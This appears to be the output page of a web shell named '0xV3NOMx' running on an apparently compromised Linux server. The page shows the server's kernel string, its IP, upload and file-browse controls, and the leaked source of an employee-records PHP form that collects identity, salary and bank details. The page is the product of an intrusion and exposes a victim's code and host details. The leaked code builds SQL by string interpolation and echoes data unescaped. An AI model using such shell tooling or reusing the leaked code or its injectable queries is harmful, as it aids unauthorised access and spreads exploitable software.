0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.118.137.13


Current Path : /proc/thread-self/root/var/www/html/oums/
Upload File :
Current File : //proc/thread-self/root/var/www/html/oums/employees_form.php

<?php
include("src/sys_session.php");
include("src/sys_connect.php");
?>

<div id="page-container-form" class="form-horizontal">
    <div id="lblpagemode" class="page_mode"></div>
    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Employee Details</div>
        <div class="panel-body" style="position: relative;">
            <div style="position: absolute; top:10px; right: 5px;">
                <img id="imgemplphot" class="image_passport" src="img-empl/blank.png" onClick="show_brow_file();"></br>
                <input type="button" id="btnemplphot" class="btn btn-primary" value="Browse" style="width:130px;" onClick="show_brow_file();" /></br>
                <input type="file" id="filemplphot" class="form-control" style="width:130px; visibility:hidden;" onchange="chck_file_path(this);" /></br>
                <input type="hidden" id="txtemplphot" class="form-control" readonly="readonly" style="width:130px;" />
            </div>
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Name</label>
                <div class="col-sm-6">
                    <input type="text" class="form-control text-uppercase" id="txtemplname" name="txtemplname" maxlength="50" onblur="benf_name();" />
                </div>

                <div class="col-sm-2">
                    <input type="text" class="form-control text-center text-uppercase" id="txtemplcode" disabled="disabled" maxlength="10" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Client</label>
                <div class="col-sm-6">
                    <?php
                    echo "<select class='form-control' id='txtdeptcode' onchange='load_desn_data(this.value)'>";
                    if ($type_id == 'ADMIN') {
                        $mysql = "select * from masdept where femplentr='T' and fdeleted<>'T' order by fdeptname";
                    } else {
                        $mysql = "select * from masdept inner join masdept_user on masdept.fdeptcode = masdept_user.fdeptcode and fusercode='$user_id' order by fdeptname";
                    }
                    $myres = mysqli_query($mycon, $mysql);
                    if (mysqli_num_rows($myres) > 1) {
                        echo "<option value=''>--SELECT--</option>";
                    }
                    while ($myrow = mysqli_fetch_assoc($myres)) {
                        echo "<option value='$myrow[fdeptcode]'> $myrow[fdeptname] [$myrow[fdeptcode]]</option>";
                    }
                    echo "</select>";
                    ?>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Designation</label>
                <div class="col-sm-6">
                    <select class="form-control" id="txtempldesn">
                        <option value="">--SELECT--</option>
                    </select>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Empl. Type</label>
                <div class="col-sm-3">
                    <select class="form-control" id="txtempltype">
                        <option value="">--SELECT--</option>
                        <option value="P">PERMANENT</option>
                        <option value="T">TEMPORARY</option>
                        <option value="X">FIXED</option>
                    </select>
                </div>

            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Place of Work</label>
                <div class="col-sm-3">
                    <?php
                    echo "<select class='form-control' id='txtworkplce'>";
                    $mysql = "select * from mastown order by ftownname";
                    $myres = mysqli_query($mycon, $mysql);
                    if (mysqli_num_rows($myres) > 1) {
                        echo "<option value=''>--SELECT--</option>";
                    }
                    while ($myrow = mysqli_fetch_assoc($myres)) {
                        echo "<option value='$myrow[ftownname]'>$myrow[ftownname]</option>";
                    }
                    echo "</select>";
                    ?>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Reporting Head</label>
                <div class="col-sm-3">
                    <?php
                    echo "<select class='form-control' id='txtrepthead'>";
                    $mysql = "select distinct femplcode,femplname from masempl em 
                    inner join masdept dp on em.fdeptcode = dp.fdeptcode 
                    inner join masdesn ds on em.fempldesn = ds.fempldesn and dp.fdepttype = ds.fdepttype and freptdesn='T'
                    where ifnull(em.fdeleted,'F')='F'
                    order by femplname";
                    $myres = mysqli_query($mycon, $mysql);
                    if (mysqli_num_rows($myres) > 1) {
                        echo "<option value=''>--SELECT--</option>";
                    }
                    while ($myrow = mysqli_fetch_assoc($myres)) {
                        echo "<option value='$myrow[femplcode]'>$myrow[femplname] [$myrow[femplcode]]</option>";
                    }
                    echo "</select>";
                    ?>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Working Status</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtemplstat">
                        <!-- <option value="">--SELECT--</option> -->
                        <option value="T">ACTIVE</option>
                        <option value="F">INACTIVE</option>
                    </select>
                </div>

                <label for="" class="col-sm-2 control-label">Joining Date</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txtjoindate" maxlength="10">
                </div>

                <label for="" class="col-sm-2 control-label">Last Working Date</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txttermdate" maxlength="10">
                </div>
            </div>
        </div>
    </div>

    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Personal Details</div>
        <div class="panel-body">
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Gender</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtemplgend">
                        <option value="">--SELECT--</option>
                        <option value="M">MALE</option>
                        <option value="F">FEMALE</option>
                    </select>
                </div>

                <label for="" class="col-sm-2 control-label">Date of Birth</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txtemplbday" maxlength="10" />
                </div>
            </div>


            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Mobile No.</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txtemplmobl" maxlength="10" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">E-Mail</label>
                <div class="col-sm-6">
                    <input type="text" class="form-control text-left" id="txtemplmail" maxlength="40" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Aadhaar No.</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txtempladhr" maxlength="12" />
                </div>

                <label for="" class="col-sm-2 control-label">P.A.N.</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-center" id="txtemplpanc" maxlength="10" />
                </div>
            </div>


            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Address</label>
                <div class="col-sm-6">
                    <input type="text" class="form-control text-left" id="txtempladd1" maxlength="50" />
                    <input type="text" class="form-control text-left" id="txtempladd2" maxlength="50" />
                    <input type="text" class="form-control text-left" id="txtempladd3" maxlength="50" />
                    <input type="text" class="form-control text-left" id="txtempladd4" maxlength="50" />
                </div>
            </div>
        </div>
    </div>

    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">General Settings</div>
        <div class="panel-body">
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Expense Entry?</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtexpnentr">
                        <option value="F">NO</option>
                        <option value="T">YES</option>
                    </select>
                </div>

                <label for="" class="col-sm-2 control-label">Attendance Entry?</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtattnentr">
                        <option value="F">NO</option>
                        <option value="T">YES</option>
                    </select>
                </div>

                <label for="" class="col-sm-2 control-label">Work Entry?</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtworkentr">
                        <option value="F">NO</option>
                        <option value="T">YES</option>
                    </select>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Total CL</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txttotlcasl" maxlength="2" value="0" onKeyDown="return numbers_only(event);" />
                </div>

                <label for="" class="col-sm-2 control-label">Available CL</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txtavlbcasl" value="0" onKeyDown="return numbers_only(event);" disabled="disabled" />
                </div>
            </div>

            <div class="form-group hidden">
                <label for="" class="col-sm-2 control-label">Total EL</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txttotlextl" value="0" onKeyDown="return numbers_only(event);" disabled="disabled" />
                </div>

                <label for="" class="col-sm-2 control-label">Available EL</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txtavlbextl" value="0" onKeyDown="return numbers_only(event);" disabled="disabled" />
                </div>
            </div>
        </div>
    </div>

    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Salary Details</div>
        <div class="panel-body">
            <div class="form-group">

                <label for="" class="col-sm-2 control-label">Salary Head</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtsalrhead">
                        <option value="">--SELECT--</option>
                        <option value="LOGISYS">LOGISYS SALARY</option>
                        <option value="UNICLARE">UNICLARE SALARY</option>
                        <option value="DEEPAK">DEEPAK HOSPITAL SALARY</option>
                        <option value="IHF">IHF SALARY</option>
                        <option value="OTHER">OTHER / LOCAL SALARY</option>
                    </select>
                </div>

                <label for="" class="col-sm-2 control-label">Compute Salary?</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtsalrcomp">
                        <option value="F">NO</option>
                        <option value="T">YES</option>
                    </select>
                </div>

                <label for="" class="col-sm-2 control-label">Salary Type?</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtsalrtype">
                        <option value="">--SELECT--</option>
                        <option value="C">CONSOLIDATED</option>
                        <option value="D">DAILYWAGE</option>
                    </select>
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Basic Salary</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txtsalrbase" maxlength="10" value="0.0" onBlur="return salary_days()" onKeyDown="return decimals_only(event);" />
                </div>

                <label for="" class="col-sm-2 control-label">Salary / Day</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txtsalrdays" maxlength="6" value="0.0" onBlur="return salary_hour()" onKeyDown="return decimals_only(event);" />
                </div>

                <label for="" class="col-sm-2 control-label">Salary / Hour</label>
                <div class="col-sm-2">
                    <input type="text" class="form-control text-right" id="txtsalrhour" maxlength="6" value="0.0" onKeyDown="return decimals_only(event);" />
                </div>
            </div>


            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Salary Increment</label>
                <div class="col-sm-2">
                    <select class="form-control" id="txtsalrappr">
                        <?php
                        echo "<option value=''>--SELECT--</option>";
                        echo "<option value='0'>Not Applicable</option>";
                        for ($i = 1; $i <= 12; $i++) {
                            $appr_mnth =    date("m", strtotime(date('Y-m-01') . " $i months"));
                            $salr_mnth =    date("M Y", strtotime(date('Y-m-01') . " $i months"));
                            $payt_mnth =    date("M Y", strtotime(date('Y-m-01')  . ($i + 1) . " months"));
                            echo "<option value='$appr_mnth'>" . $salr_mnth . " / " . $payt_mnth . "</option>";
                        }
                        ?>
                    </select>
                </div>
            </div>

        </div>
    </div>

    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Bank Details</div>
        <div class="panel-body">
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Beneficiary Name</label>
                <div class="col-sm-6">
                    <input type="text" class="form-control text-left" id="txtacntname" maxlength="40" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Account No.</label>
                <div class="col-sm-3">
                    <input type="text" class="form-control text-left" id="txtacntnumb" maxlength="20" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">IFSC Code</label>
                <div class="col-sm-3">
                    <input type="text" class="form-control text-left" id="txtbankifsc" maxlength="11" onBlur="sele_bank_code();" />
                </div>
            </div>

            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Bank Name</label>
                <div class="col-sm-3">
                    <?php
                    echo "<select class='form-control' id='txtbankcode'>";
                    $mysql = "select * from masbank order by fbankcode";
                    $myres = mysqli_query($mycon, $mysql);
                    if (mysqli_num_rows($myres) > 1) {
                        echo "<option value=''>--SELECT-</option>";
                    }
                    while ($myrow = mysqli_fetch_assoc($myres)) {
                        echo "<option value='$myrow[fbankcode]'>$myrow[fbankname]</option>";
                    }
                    echo "</select>";
                    ?>
                </div>
            </div>
        </div>
    </div>

    <div class="panel panel-primary" style="width:1024px;margin-left:auto;margin-right:auto;">
        <div class="panel-heading">Remarks (if any)</div>
        <div class="panel-body">
            <div class="form-group">
                <label for="" class="col-sm-2 control-label">Remarks</label>
                <div class="col-sm-10">
                    <input type="text" class="form-control" id="txtemplremk" maxlength="100" />
                </div>
            </div>
        </div>
    </div>

</div>